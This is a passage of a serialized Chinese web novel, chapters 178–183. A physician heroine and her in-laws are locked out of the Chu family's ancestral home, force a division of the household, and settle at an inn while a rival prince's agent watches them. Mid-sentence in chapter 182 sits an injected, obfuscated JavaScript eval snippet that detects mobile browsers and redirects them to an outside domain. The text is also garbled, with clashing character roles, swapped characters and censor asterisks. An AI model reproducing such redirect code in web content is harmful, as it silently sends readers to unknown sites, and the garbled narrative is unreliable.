从第一次在仁心医馆相遇,到后来的朝夕相处,柔柔总能给他惊喜。她的医术精湛,性格坚韧,更重要的是,她总能在他最需要的时候给予支持。 “要是能听听她的声音就好了。”楚星河轻声呢喃。 林小七抬起头,朝他投来一个无奈的眼神,仿佛在说:“又开始犯相思病了。”随后又趴下身子,继续警戒。 与此同时,在通往帝都的官道上,一支队伍正在夜色中缓缓前行。马蹄声和车轮声在寂静的楚晚格外清晰。 林芷柔坐在马车车辕上,仰望着同一片星空。虽然相隔千里,但她仿佛能感受到楚星河此刻也在望着这片星空。 “姑娘,夜露重,您还是进车里吧。”赶车的老赵语气中带着关切。 林芷柔摇摇头:“没事,我想再坐会儿。”她裹了裹披风,目光依旧望着远方。 路边的树影在月光下摇曳,不时有夜鸟掠过。远处传来几声犬吠,显得格外清冷。 “也不知道他们现在怎么样了。”林芷柔轻叹。她最担心的是楚星霆。那个少年虽然天赋异禀,但功夫尚浅,若遇上魏王派来的杀手,恐怕难以应付。 好在有林小七跟着。想到那匹通灵的影豹,林芷柔心里稍稍安定。那家伙虽然平日里懒洋洋的,但关键时刻从不掉链子。 风起了,带着几分凉意。林芷柔掀开帘子钻进马车。 小阳阳睡得正香,小脸红扑扑的,可爱极了。这些天在路上,这个小家伙出奇地乖巧,总是想方设法逗顾馨巧开心。 看着儿子熟睡的模样,林芷柔心中涌起一股暖意。她轻轻抚摸着儿子的小脸,在他额头落下一个轻吻。 后面的马车里,赵氏正在安慰着楚星澜。 “姑娘,你别太担心。”赵氏柔声道,“有世侯妃在,楚家老夫人再难缠也奈何不了咱们。” 楚星澜却愁眉不展:“嫂子再厉害,到底是外来人。我就怕老夫人存心刁难,给我指一门糟心的亲事。” “傻丫头。”赵氏笑道,“你嫂子可是东吴国的安国公主,连魏王都要给她几分薄面。区区一个老夫人,还能翻了天不成?” 楚星澜还想说什么,赵氏已经打断她:“好了,别想那么多。你嫂子既然答应照顾咱们,就一定会安排妥当。” 马车继续在夜色中前行,车轮碾过官道,发出规律的声响。偶尔经过一些小村庄,能看到零星的灯火。 林芷柔靠在车壁上,手中把玩着一个玉瓶。瓶中装的是她特制的毒药,无色无味,却能让人在顷刻间毙命。 她不喜欢杀戮,但若有人敢动她在乎的人,她不介意让对方尝尝这瓶中之物的滋味。 想到即将到来的帝都之行,林芷柔眼中闪过一丝寒芒。不管是魏王,还是楚家老夫人,若敢为难她的家人,就别怪她心狠手辣。 她是医者,但也是一个护短的女人。 第一百七十九章 各怀心事 夜深了,队伍在一处驿站停下。林芷柔安顿好众人,自己却久久无法入睡。 她走到院子里,看着满天繁星。不知道此刻的楚星河是否也在看着这片星空?他们已经分开好几天了,虽然知道他武功高强,但还是忍不住担心。 “柔柔。”顾馨巧的声音从身后传来,“你该休息了。” 林芷柔回过头,看到顾馨巧端着一碗热汤:“这是我熬的安神汤,您喝了好睡些。” “婆母...”林芷柔接过汤碗,心中一暖,“你也早点休息吧。” 顾馨巧摇摇头:“我不困,您先喝汤。” 林芷柔知道,这是顾馨巧在担心自己。自从离开东吴国,这个她就一直寸步不离地照顾着她。 喝完汤,林芷柔回到房间。她从怀中掏出一个小布包,里面装着几张符纸。这是临行前,师父给她的护身符。 “师父说得对,有时候最危险的不是明枪暗箭,而是身边的人。”林芷柔轻声自语。 她想起师父临别时的叮嘱:“柔柔,你要记住,人心难测。即便是最亲近的人,也可能在某一刻变成敌人。” 这话让她想起了魏王。那个表面温和,实则野心勃勃的男人。他表面上对楚家恭敬有加,暗地里却派人追杀楚星河父子。 “真是可笑。”林芷柔冷笑一声,“明明是自己野心作祟,却要拿别人的性命来成全。” 她从行李中取出一个小盒子,里面装着各种解毒丸和金疮药。这些都是她精心配制的,以备不时之需。 夜色渐深,驿站渐渐安静下来。只有更夫打更的声音,在寂静的楚晚回荡。 林芷柔躺在床上,听着窗外的虫鸣。她知道,这一路不会太平。但不管遇到什么困难,她都会保护好身边的人。 因为这就是她的选择,也是她的责任。 第二日再次起程赵氏望着怀中泪眼婆娑的楚星澜,心如刀绞。她轻轻拭去她脸上的泪痕,指尖却不住地颤抖。 马车内愈发显得压抑。这一路颠簸,从云州到帝都,每一步都像是踏在刀尖上。 “澜儿......”赵氏的声音有些哽咽,却又不得不强作镇定,“别怕,有姨娘在。” 楚星澜摇了摇头,泪水顺着脸颊滑落:“姨娘,您又何必安慰我?老夫人的心思,我们都清楚。” 马车轮碾过石板路的声响不绝于耳,仿佛也在无声地诉说着她们即将面临的困境。赵氏看着女儿苍白的小脸,心中一阵绞痛。 这些年她与老夫人不睦,如今对方要是存心为难女儿,她这个做姨娘的又能如何?一个“孝”字,便足以压死所有反抗的声音。 “澜儿,别担心。”赵氏强忍悲痛,挤出一丝笑容,手指轻轻抚过女儿的发丝,“姨娘会让夫人帮你说话的。等进了帝都,让她与世侯妃商议对策。” 车厢内一阵沉默。楚星澜垂着头,指甲深深掐进掌心:“母亲和嫂嫂再厉害,又怎敌得过老夫人的辈分?她若执意要毁我的婚事,谁又能阻拦?” 这话像一记重锤,将赵氏的心砸得粉碎。她紧紧搂住女儿,仿佛要将她揉进骨血里:“有姨娘在,谁也别想欺负你。就算拼了这条命,我也要护你周全。” “姨娘......”楚星澜泪如雨下,将赵氏的衣襟打湿了一片。 马车内的气氛愈发凝重。赵氏望着窗外飘落的雨丝,眼中闪过一丝忧虑。这一路上,她不知多少次想过要带着女儿逃走,可终究还是不敢。 楚星澜靠在母亲怀里,眼神渐渐变得暗淡。她暗暗发誓,若真到了那一步,死的一定是她自己。命运弄人,偏偏在她将及笄之际,家中遭此大变。 若还在云州,凭着家中声望,谁敢轻慢于她?可到了帝都,一切都不同了。老夫人早就看她们母女不顺眼,如今有了由头,怕是不会轻易放过。 马车在雨中缓缓前行,穿过帝都繁华的街市。街边小贩的吆喝声,行人的谈笑声,都与车厢内的沉寂形成鲜明对比。 “小姐,前面就是楚家祖宅了。”丫鬟黄萝轻声提醒。 楚星澜抬头望去,只见一座破败的宅院在雨中若隐若现。大门斑驳,围墙上爬满杂草,处处透着衰败之气。 另一辆马车上,顾馨巧望着这座陌生又熟悉的宅院,心中五味杂陈。她低声对林芷柔说:“这是楚家祖宅。云陵伯府已被查封,咱们说话做事都得谨慎些。” 林芷柔牵着儿子楚阳洲的手,目光在紧闭的大门上扫过:“连个看门人都没有?这是什么意思?” 顾馨巧叹了口气:“我也只来过这里一次,还是成亲那会儿来宗祠上香。赵氏更是从未踏足过此地。” 她望着眼前破败的景象,不禁想起往事。楚家一向靠着楚云浪父子支撑门面,其他族人都不成器。如今楚云夏闹出这等大祸,楚家在帝都沦为笑柄。 皇上念在老云陵伯的功劳,只罚没了帝都的家产,发配了楚云夏。其他人虽免于牵连,但也失去了昔日的荣光。这座祖宅,恐怕就是他们最后的容身之所了。 “这是存心不让我们进去啊。”顾馨巧语气中带着几分无奈。 林芷柔将儿子交给婆婆,眼中闪过一丝寒芒:“不管他们让不让进,今天这个门我是要进的。” “可是......”顾馨巧还想说什么,却被林芷柔打断。 “娘,您别怕。”林芷柔嘴角勾起一抹冷笑,“您就看我怎么收拾他们。” 她悄悄来到一处偏僻角落,从袖中取出三个小瓷瓶。瓶中分别装着灰鼠七、玄猫五和黄狗九。这是她从师父那里学来的秘术,能将动物缩小装入瓶中。 “去打探打探里面什么情况。”林芷柔打开瓶塞,三只小东西立刻窜了出去。 她望着高墙,眼中寒光闪烁。想用这种下三滥的手段给她下马威?那就看看,到底是谁更狠。 雨势渐大,打在破旧的围墙上发出沉闷的声响。林芷柔站在雨中,衣襟被打湿也浑然不觉。她知道,这场较量才刚刚开始。 不远处的马车里,楚星澜望着这座即将成为她牢笼的宅院,心中一片冰凉。她握紧了母亲的手,仿佛这是她唯一的依靠。 赵氏看着女儿苍白的侧脸,心中一阵刺痛。她多希望能带着女儿远走高飞,可是,她们又能逃到哪里去呢? 第一百八十章 林芷柔一行人被楚老夫人拒之府外 “是谁家的姑娘?”一位上了年纪的妇人打着伞站在街角,眯着眼打量着林芷柔。她身着一件略显陈旧的褐色布衫,脸上的皱纹里刻着岁月的痕迹。 林芷柔整了整有些凌乱的衣裙,露出温婉的笑容:“我是楚家媳妇,从云州来的。”她的声音轻柔,却难掩疲惫。 雨水落在青石板路上泛着涟漪。林芷柔抬手擦去额头的汗珠,目光落在楚家那扇紧闭的朱漆大门上。门板上斑驳的漆色透着几分沧桑,门环上积着一层薄灰。 “楚家今日怎么了?”林芷柔蹙眉问道,“大白天的关门闭户,?” 妇人叹了口气,佝偻着身子凑近几步:“这楚家啊,自打那位老夫人回来,就变了个样。”她压低声音,“以前街坊邻里见了都热络,如今连个招呼都不敢打了。” “老夫人?”林芷柔心头一紧。 “可不是。”妇人往四周张望了一下,“那是云陵伯府的老夫人,听说是因为二房的事,连累得伯府被抄,这才回到老宅来的。” 林芷柔垂下眼帘,指尖无意识地绞着衣角。她转身看向身后的顾馨巧、赵氏和楚星澜,还有小小的阳阳,心中一阵酸楚。 阳阳才一岁多,小脸被拒在门外,正在赵氏怀里不安地扭动。赵氏轻声哄着,眼中含着泪光。顾馨巧站在一旁,神色憔悴,眼底带着深深的疲惫。 “这可如何是好?”林芷柔轻声叹道,“大人熬一熬倒也罢了,可阳阳才这么小...” 话音未落,隔壁院子里走出一位身材富态的妇人,正是赵婶子。她见状连忙迎上前:“这是怎么了?” 顾馨巧抹着眼泪,将事情经过娓娓道来。原来楚云夏因卷入魏王府的纷争,被牵连入狱。云陵伯府被抄,老夫人震怒之下,将所有怒火都发泄在大房身上。 “这也太不像话了!”赵婶子气愤地拍着大腿,“自家人远道而来,居然把门关死了不让进!” 她这一嗓子引来不少街坊邻居。大家纷纷围过来,对着楚家指指点点。有人说楚家不讲理,有人说老夫人太过分,更有人说这是在折腾自家人。 小阳阳被吵闹声惊到,哇地一声哭了出来。赵氏手忙脚乱地哄着,却怎么也止不住他的哭声。 楚家内院,赵氏急匆匆跑到老夫人跟前:“老夫人,不好了!外面围了一堆人,都在说咱们楚家不讲理!” 老夫人坐在太师椅上,面色阴沉。“让他们说去!”老夫人冷哼一声,手指用力叩击着椅子扶手,“只准赵氏母女进来,其他人一律不许!” 自从魏王算计了她的二儿子,害得云陵伯府被抄,老夫人心中就憋着一股火。往日锦衣玉食,如今却要蜗居在这破败的老宅,与这些粗鄙之人为伍。这口气,她如何咽得下? 珩氏坐在一旁,看着老夫人的作为,心中暗叹。她望着窗外的天空,一朵乌云正缓缓飘过,遮住了刺目的阳光。这般折腾下去,只怕楚家真要散了。 外面的喧闹声越来越大,街坊邻居你一言我一语,议论纷纷。有人说要去找里正评理,有人说要去衙门告状。 林芷柔站在人群中,看着那扇紧闭的大门,心如刀绞。她想起当初嫁入楚家时的场景,那时门楣上的漆还很新,门环擦得锃亮。如今再看,一切都变了。 顾馨巧拉着她的手,低声道:“柔柔,要不我们先找个地方安顿下来?” 林芷柔摇摇头:“这是我们的家,总不能就这么放弃。”她深吸一口气,“再等等看。” 楚星澜站在一旁,眼中闪过一丝复杂的神色。他看着嫂子倔强的侧脸,心中既心疼又无奈。 赵氏在门口来回踱步,额头渗出细密的汗珠。她看了看天色,又看了看大门,心中焦急如焚。这样下去,只怕楚家的名声就要毁在老夫人手里了。 老夫人依旧坐在太师椅上,一动不动。窗外的喧闹声传进来,却像是与她无关。她的目光落在墙上那幅已经发黄的山水画上,仿佛在回忆着往日的荣光。 珩氏欲言又止,最终还是叹了口气。她起身走到窗前,看着外面的人群,心中五味杂陈。这个家,究竟该何去何从? 老夫人站在门边,目光阴沉地打量着眼前的一家人。她那双浑浊的眼睛里闪烁着不加掩饰的敌意,仿佛在打量什么不洁之物。 顾馨巧下意识地攥紧了衣袖,指节因用力而泛白。寒风吹过,她感到一阵刺骨的了然,却不知是因为天气,还是因为那道冰冷的目光。院子里的气氛凝重得几乎要将人压垮。 林芷柔站在顾馨巧身旁,暗中观察着这位传说中的老夫人。表面上看,这是一位慈眉善目的老人,但那双眼睛深处却藏着说不出的算计。她的目光在众人脸上逡巡,像是在盘算着什么。 “想进楚家的门,就得守楚家的规矩。”老夫人冷冷开口,语气中带着不容置疑的威严。她的视线在顾馨巧身上停留片刻,又移向她身边的孩子,眼中闪过一丝不易察觉的厌恶。 顾馨巧感觉到孙子在瑟瑟发抖,心疼地将他搂得更紧。寒风中,孩子的小手冰凉,让她心如刀绞。她回想起多年前第一次踏入这个院子时的场景,那时的她也是这般忐忑不安。 林芷柔见状,悄悄凑到顾馨巧耳边,压低声音道:“这老夫人不像好相与的,咱们还是分家吧,另寻住处。” 这句话仿佛给了顾馨巧莫大的勇气,她深吸一口气,挺直了腰板。曾经的软弱与退让已经够多了,她不能再让孩子受委屈。 “不必了。”顾馨巧抬起头,目光坚定地看向老夫人,“我们要分家。” 她的声音不大,却在寂静的院子里格外清晰。周围的邻居们纷纷探出头来,窃窃私语声此起彼伏。 “你说什么?”赵氏尖声叫道,面容扭曲,“一回来就要分家,你好大的胆子!馨巧,你可别不识好歹!” 顾馨巧冷笑一声,眼中闪过一丝了然。她几步上前,抬手就是一记响亮的耳光。“啪”的一声在院子里回荡,周围的邻居们顿时倒吸一口凉气。 “你也配直呼我的名讳?”顾馨巧声音冰冷,“就是你们夫妻二人害得我家侯爷流落他乡,如今还敢在这里耀武扬威?” 赵氏捂着脸,不可置信地瞪大眼睛。她万万没想到,曾经那个温顺的大嫂竟敢动手打人。脸上火辣辣的疼痛让她一时说不出话来。 “好一个泼妇!”二房的孙氏冷哼一声,“就这般蛮横无理的性子,难怪老夫人不待见。” 顾馨巧转头看向孙氏,目光如刀:“孙氏,你最好闭嘴。当年你们是怎么对待我家侯爷的,我可都记得清清楚楚。今日我若是跟你算账,只怕你也讨不了好。” 孙氏被这眼神吓得后退一步,下意识地躲到了赵氏身后。 围观的邻居们议论纷纷。 “这位大夫人果然有气势,一点也不像传闻中那般软弱。” “听说她家侯爷是被二房害得流落在外,如今看来,这传言怕是不假。” “可不是,这一巴掌打得好,就该给这些仗势欺人的人一点教训。” 老夫人的脸色越发难看。她原本以为顾馨巧还是那个任人拿捏的软包子,没想到竟敢当众闹分家,更没想到她敢把这些陈年旧事翻出来。 第一百八十一章 分家 “各位乡亲。”顾馨巧环视四周,声音清亮,“今日请你们做个见证。我们一家远道而归,却连自家大门都进不得。既然如此,不如干脆分家。楚家的房产我们一分不要,只求族里给份分家文书。” 她的话音刚落,院子里顿时炸开了锅。 “这是要分家?” “不要家产只要分家文书,这是铁了心要走啊。” “这老夫人也太过分了,亲儿媳妇都赶出门去。” 老夫人脸上的横肉抖动着,眼中闪过一丝阴狠:“你可想清楚了?分了家,以后就是外人了。” “想得很清楚。”顾馨巧直视老夫人的眼睛,“我夫君虽非您所出,但也是楚家的血脉。您既然容不下我们,我们又何必强求?” 这番话一出,周围的议论声更大了。 “原来是这么回事,难怪老夫人这般刻薄。” “继子就该这般对待?也太不像话了。” “这老夫人也太偏心了,亲生的就是亲生的,继子就该受这般委屈?” 老夫人气得浑身发抖,手中的拐杖重重地敲击着地面。她没想到顾馨巧会把这件事说出来,更没想到这个儿媳妇已经不是当年那个任人揉捏的软柿子了。 赵氏和楚星澜在一旁看得暗自点头。分家是最好的选择,总好过整日提心吊胆,防着老夫人的算计。 阳阳紧紧抱着祖亲的腿,虽然年纪小,却也感受到了空气中的剑拔弩张。他仰起小脸,怯生生地看着祖母:“祖母,我们真的要走吗?” 顾馨巧蹲下身,轻轻抚摸着儿子的头。她看着孙儿清澈的眼睛,心中既心疼又坚定。这个家已经不适合他们住下去了,与其让孩子在这种环境中长大,不如带他离开。 “是啊,我们要走。”她柔声说,“不过不用害怕,有祖母在,没人能欺负你。” 林芷柔走上前,握住顾馨巧的手:“我支持你。这种地方确实不该久留,我们另找住处便是。” 顾馨巧感激地看了林芷柔一眼。有这样的儿媳在身边,她觉得心里踏实了许多。 老夫人见状,冷笑一声:“好,既然你们执意要分家,那就分!但别怪我没提醒你们,出了这个门,以后就是外人了。” “正合我意。”顾馨巧淡淡地说,“我们本就不是一路人。” 她牵起孙子的手,转身就要离开。这时,一个尖利的声音突然响起。 “站住!”赵氏叫道,“你们不能就这么走了!当年的账还没算清呢!” 顾馨巧停下脚步,回头看着她:“你想算什么账?是想算算你们害得我家侯爷流放他乡的账,还是想算算你们这些年来欺辱我们一家的账?” 赵氏被这话噎住,脸色一阵青一阵白。 “行了!”老夫人重重地杵了下拐杖,“既然要分家,那就按规矩来。去请族老来主持。” 顾馨巧点点头,带着家人站到一旁。多年来的压抑与委屈,终于在今天得到了释放。 从今以后,她要带着家人过自己的生活,再也不用看任何人的脸色。 林芷柔站在楚家老宅门前,看着眼前这一幕闹剧,心中泛起阵阵冷意。她将怀中的阳阳裹得更紧了些,孩子小脸被冻得通红,却依然乖巧地没有哭闹。 老夫人高高在上地立在门槛内,目光冷漠地扫过门外站着的一大家子人。她身后站着几个丫鬟婆子,个个趾高气扬,仿佛她们才是这府里的主子。 这时,周围看热闹的邻居们议论纷纷。 “这也太不像话了,大冷天把人挡在外面。” “可不是,我记得楚家原来的老夫人多好的一个人啊,从不摆这些架子。” “听说这位是从伯府嫁过来的,仗着自己出身好,连自家人都不放在眼里。” 老夫人听着这些议论,脸色越发难看。她正要发作,顾馨巧却突然笑了。那笑容凄凉中带着几分讽刺,让老夫人心里莫名一慌。 “老夫人,您是不是忘了当年的事了?”顾馨巧擦了擦眼泪,声音渐渐提高,“我可都记得清清楚楚,您是怎么把我的孩子从我身边抢走的,又是怎么逼我答应让您的丫鬟做姨娘的!” 老夫人脸色骤变:“住口!” “为什么要住口?”顾馨巧站了起来,眼中闪过一丝决绝,“您当年让我在冬天站了半个月的规矩,害得我差点小产的事,要不要我说给大家听听?那时候您是怎么说的?说我不懂规矩,说我配不上楚家的门楣!” 周围的人群顿时哗然,指指点点的声音更大了。 林芷柔看着婆婆,心疼得几乎说不出话来。她知道,这些年的委屈终于在今天爆发了。 “您把我的儿子抢走,整整九年不让我们见面。”顾馨巧的声音带着哭腔,“星河五岁那年被人推进莲池差点淹死,您可曾管过?他在书院连张好纸都用不起,您说是为他攒娶亲的钱,可他成亲那天,您在哪里?” 每一句话都像是一把刀,狠狠地戳在老夫人心上。她扶着丫鬟的手,身子微微发抖:“够了!你们要分家可以,但赵氏和星雨必须留下!” 林芷柔心中一动,终于明白了老夫人的打算。这是想拿小姑子的婚事做文章。 楚星澜吓得往林芷柔身后躲,眼泪止不住地往下掉:“嫂嫂...” “别怕。”林芷柔转身轻轻擦去小姑子脸上的泪水,“有我在,谁也别想欺负你。” 赵氏跪在地上,声音颤抖:“老夫人,妾身是老爷的人,澜儿是老爷的女儿,我们母女不能分开啊。” “娘,姑姑不哭。”阳阳奶声奶气地说,小手在林芷柔怀里挣扎着要下去,“爹爹说了,我们要在一起的。” 看着这一幕,周围的邻居们更加愤慨了。 “这老夫人也太狠了,连自家孙女都不放过。” “想拿人家姑娘的婚事做文章,太不要脸了。” “我活这么大岁数,还没见过这么恶毒的婆婆。” 老夫人听着这些话,脸色一阵青一阵白。她死死盯着林芷柔,眼中闪过一丝阴狠:“你别以为我不知道,你在背后挑唆他们分家。楚家的家业,岂是你们说分就能分的?” 林芷柔将阳阳交给婆婆,上前一步:“老夫人这话说得不对。您既然提到家业,那我倒要问问,这些年楚家的进项,您可曾给过我们一分?” “公公的奉禄,都上交给了您。可您呢?现在他被诬陷发配边关他的妻女孤苦无依来投奔您可是您呢。.” “闭嘴!”老夫人厉声打断,“一个商贾之女,也配在这里指手画脚?” 这话一出,周围的议论声更大了。林芷柔却笑了,那笑容让老夫人莫名心慌。 “是,我是商贾之女。可商贾之女怎么了?至少我爹娘疼我,不会为了所谓的门第,就把我推进火坑。” 她转身看向围观的邻居:“各位街坊邻居,今天的事,还请你们都做个见证。我们要分家,不是不孝,实在是...” “够了!”老夫人气得浑身发抖,“你们要分就分,但别想带走一分钱!” 林芷柔冷眼看着这一切,心中已有了计较。这一次,她倒要看看,这位仗着伯府身份横行霸道的老夫人,还能耍出什么花样来。 第一百八十二章 破局 院子外的喧闹声此起彼伏,像一把无形的刀,一下下剜在老夫人的心上。她坐在太师椅上,手指无意识地敲击着扶手,眼中闪过阴鸷的光芒。 这场闹剧已经完全超出了她的预料。原本以为能轻易拿捏的一对母女,如今却成了眼中钉、肉中刺。更要命的是,外头那些长舌妇们叽叽喳喳的议论声,正在一点点撕碎她精心维护的体面。 “贱婢不知好歹,给我把她们拖进来!”老夫人猛地一拍桌案,茶盏跳动,发出清脆的响声。 这声怒喝像是打破了院中的沉寂。几个家丁面面相觑,迟疑着向前迈步。 林芷柔眸光一冷,将楚星澜护在身后。她的目光扫过那些蠢蠢欲动的家丁,唇角勾起一抹讥讽的弧度:“谁敢动手?” 这简单的三个字,却仿佛带着某种魔力,让那些家丁不由自主地退后半步。 赵氏见状,眼中闪过一丝怒意。她一向以老夫人的心腹自居,此时见下人们畏首畏尾,顿时气不打一处来:“一群没用的东西!” 她撸起袖子,像条疯狗般冲向林芷柔。然而还未靠近,一记凌厉的横踢便迎面而来。 “砰!” 这一脚蕴含着巧妙的力道,赵氏整个人腾空而起,重重摔在地上,发出一声凄厉的惨叫。她蜷缩成一团,脸上的狰狞瞬间化作痛苦。 躲在门后的珩氏看得暗自叫好。这赵氏平日里作威作福,没少给她使绊子,她也有今天。她抬手掩住嘴角的笑意,眼中闪过幸灾乐祸的光芒。 “活该!这种狗仗人势的东西,早该教训教训了!”人群中爆发出此起彼伏的叫好声。 赵姨娘看着地上打滚的赵氏,多年来的委屈在这一刻彻底爆发。她冲上前去,跨坐在赵氏身上,扬起手便是一记耳光。 “啪!”清脆的巴掌声在院中回荡。 “这一巴掌,是为了当年你诬陷我偷东西!” “啪!”又是一记响亮的耳光。 “这一巴掌,是为了你害得我女儿差点被卖到青楼!” “啪!啪!啪!” 一连串的耳光声此起彼伏,赵氏的脸颊很快肿得老高,嘴角渗出血丝。 楚星澜看得目瞪口呆。在她的印象中,姨娘永远都是温柔似水的模样,从未见她发这么大的火。此时的赵姨娘,仿佛变了个人似的。 打够了之后,赵姨娘站起身,整了整有些凌乱的衣裳,走到林芷柔身边。她眼中含泪,声音有些哽咽:“多谢柔儿相护。” “不必言谢,”林芷柔轻声道,目光坚定,“今日我们必须脱离楚家。” 老夫人气得浑身发抖,手中的拐杖“咚咚”敲击着地面。她万万没想到,这些年不见的顾馨巧和赵氏,竟然都变得如此难以掌控。更让她难以接受的是,自己精心布置的局,居然被这么轻易地破坏。 “赵氏是我陪嫁丫鬟,她和她的女儿都是我的奴婢!”老夫人厉声喝道,苍老的声音中带着不容置疑的威严。 院子外的围观者们发出一阵嗤笑。有人小声嘀咕:“这老夫人还真是不要脸,明明是自己理亏,还想倚老卖老。” “就是,这年头谁还相信这套?” 赵氏冷笑一声,目光直视老夫人:“老夫人怕是贵人多忘事。当年您亲口说放了我的奴籍,如今却要翻脸不认人?” “那是骗你的,身契还在我手里!”老夫人脱口而出,话音未落便后悔了。 赵氏身子微颤,但很快就镇定下来。她缓步上前,声音清晰:“既然如此,请老夫人把身契拿出来。” 这话像一记重锤,砸得老夫人脸色铁青。那身契早就被楚云浪销毁了,她又拿什么出来? 围观的百姓看出端倪,发出更大的嘲讽声。 “呵呵,这位老夫人可真会耍心眼。” “连这种谎都编得出来,也是够厉害的。” “这不是欺负人吗?” 就在气氛剑拔**张之际,一个拄着拐杖的老者缓缓走来。他身形瘦削,目光如炬,浑身上下透着一股不怒自威的气势。 这便是楚家老叔公,虽年过古稀,但在族中极有威望。他站定后,环视四周,目光最后落在老夫人脸上。 老叔公的到来,使气氛有了微妙地改变。老夫人强撑着站起身,想要开口解释,却被老叔公抬手制止。 “我刚刚都听见了,”老叔公的声音沙哑却有力,“这事,你做得不对。” 这话一出,老夫人的脸色更加难看。她张了张嘴,想要辩解,却发现自己竟无言以对。 老叔公继续道:“当**,我也有所耳闻。赵氏确实已经放了奴籍,你今日这般做派,是存心要坏了楚家的名声不成?” 这番话说得不偏不倚,却字字诛心。老夫人只觉得浑身发冷,她看着院子里的众人,忽然意识到,自己精心维护的体面,在这一刻彻底崩塌了。 老叔公从怀中取出一份文书,递给顾馨巧:“拿着,这是分家文书。从今往后,你们一家单过。” 顾馨巧接过文书,手微微发抖。她转手将文书交给林芷柔保管,目光复杂地看了眼老宅。这里承载了她太多的回忆。 “走吧。”林芷柔轻声说,“我们去看看新住处。” 她扶着婆婆上了马车,赵氏则坐上另一辆马车。街坊邻居们自发地挡在老夫人面前,不让她出来**。 马车缓缓驶离楚家老宅,驶向帝都的繁华地段。车轮碾过石板路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847136|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,发出有节奏的声响。 “柔柔,我们没有银子啊。”顾馨巧愁眉苦脸地看着儿媳,“这客栈住不起啊。” 林芷柔微微一笑,从怀中取出一个包裹:“有的,娘。这是我提前准备的。” 包裹里装着几个钱匣和首饰盒。 顾馨巧惊讶地看着儿媳妇:“你是什么时候......” “抄家那天,大家都去接旨了,我跑去收拾的。”林芷柔随口编了个理由,眼神闪烁。 马车在一家叫“福满楼”的客栈前停下。这是帝都有名的上等客栈,门面气派,伙计热情。 掌柜的亲自出来迎接:“几位贵客里面请。” 林芷柔要了四间上房,又吩咐厨房准备些热汤热菜。她看得出来,这一路奔波,大家都累坏了。 房间收拾得很干净,炭火烧得正旺。顾馨巧坐在炕上,看着窗外,眼中泛起泪光。 “娘,别难过。”林芷柔递上一杯热茶,“这是暂时的。等找到合适的宅子,我们就搬出去。” 夜色渐深,顾馨巧等人早已入睡,只有林芷柔还在等待。 她在等她的小伙伴们:灰鼠七、玄猫五和黄狗九。这些看似普通的小动物,实则都是她的得力助手。 等天完全黑下来,她还要放出鹰老五和夜翼四,让它们去找寻自己的伙伴。至于灰羽和墨翎,暂时还得待在锦囊里。等有了自己的房子,再放它们出来。 她走到窗前,看着漆黑的夜空。这帝都虽大,却处处都是眼线。她得好好布置新家的防御,让那些居心叵测的人望而却步。 魏王府中,司马川听完手下的汇报,手指轻轻敲击着桌面。 “这个林大夫,倒是个有意思的人物。”他轻笑一声,眼中闪过一丝玩味,“不过,她们怎么会有钱住客栈?” “属下也觉得蹊跷。”跪在地上的黑衣人低声回答,“按理说,抄家时应该什么都没留下才对。” 司马川眯起眼睛:“继续盯着,我倒要看看,这位林大夫还有什么本事。对了,她那些病人呢?” “都在打听她的下落,似乎很着急。” “有趣。”司马川站起身,走到窗前,“一个小小的大夫,居然能让这么多人牵挂。看来,这盘棋还真得好好下。” 夜深了,客栈里渐渐安静下来。林芷柔坐在房间里,借着烛光整理今天的见闻。 她知道,这只是开始。在这个尔虞我诈的帝都,想要立足,光靠医术是不够的。她需要更多的准备,更多的帮手。 窗外传来猫头鹰的叫声,林芷柔嘴角微微上扬。她的小伙伴们回来了,是时候布置一张大网了。 这帝都,终究会成为她的主场。 第一百八十三章 布网 夜色渐深,司马川站在窗前,目光穿过层层叠叠的宫墙,落在远处闪烁的灯火上。他的手指无意识地敲击着窗框,眼底闪过一丝复杂的情绪。 “林大夫,你果然好手段。”他轻声自语,语气中带着几分赞叹,又夹杂着一丝无奈,“云陵伯府的银子,原来都被你提前转移了。” 房间内烛光摇曳,在墙上投下晃动的影子。司马川想起手下来报时的场景,那人跪在地上,声音都在发抖:“大人,整个云陵伯府只抄出区区二百两银子......” 那时他根本不相信,现在可是真信了。 “查清楚了吗?”司马川转身问道,目光落在角落里站着的黑衣人身上。 黑衣人微微躬身:“帝都的云陵伯府倒是抄出不少好东西,金银珠宝、田产商铺加起来约有三十万两,还有那些价值连城的古玩字画,足够打点朝中重臣了。可云州那边......” “那边怎么了?” “一场空。”黑衣人声音更低了,“属下派人仔细搜查过,连地砖都撬开看过,什么都没有。” 司马川眼中闪过一丝了然。他原本指望用那笔银子来填补之前损失的一百多万两,没想到被林芷柔抢先一步。 “这位东吴国的安国公主,当真是越来越有意思了。”司马川眯起眼睛,语气中带着几分玩味,“不仅医术高明,谋略也是一等一的。” 他在房间里来回踱步,脚步声在寂静的夜里格外清晰。片刻后,他突然停下:“查到她用什么方法转移的银子了吗?” “还在查。不过......”黑衣人犹豫了一下。 “说。” “据说云陵伯大夫人临死前见过林大夫一面,而且......” “而且什么?” “而且云陵伯府的下人说,那天晚上看到林大夫身边跟着几只奇怪的动物。” 司马川挑了挑眉:“动物?” “是的,有人说看到一只黑猫,还有一只老鼠。” “荒谬!”司马川摆摆手,“继续查,一定要查清楚那些银子去了哪里。” 他走到书案前坐下,手指轻轻摩挲着桌面:“不过这位林大夫,倒是个不错的合作对象。” “大人的意思是......” “她可是东吴新君亲封的安国公主。”司马川眼中闪过一丝精光,“若能与她交好,便等同于与东吴国君建立联系。而这,正是获取星**的最佳机会。” 黑衣人立刻会意:“属下明白了。” “绝不能得罪她。”司马川沉声道,“派人暗中保护,但不要让她察觉。这位公主心思缜密,若是发现了,难免会起疑心。” 与此同时,林芷柔正坐在客栈房间里,手中把玩着一枚玉针。烛光下,她的面容显得格外清冷。 “叩叩。”窗户被轻轻敲响。 林芷柔眼都没抬:“进来。” 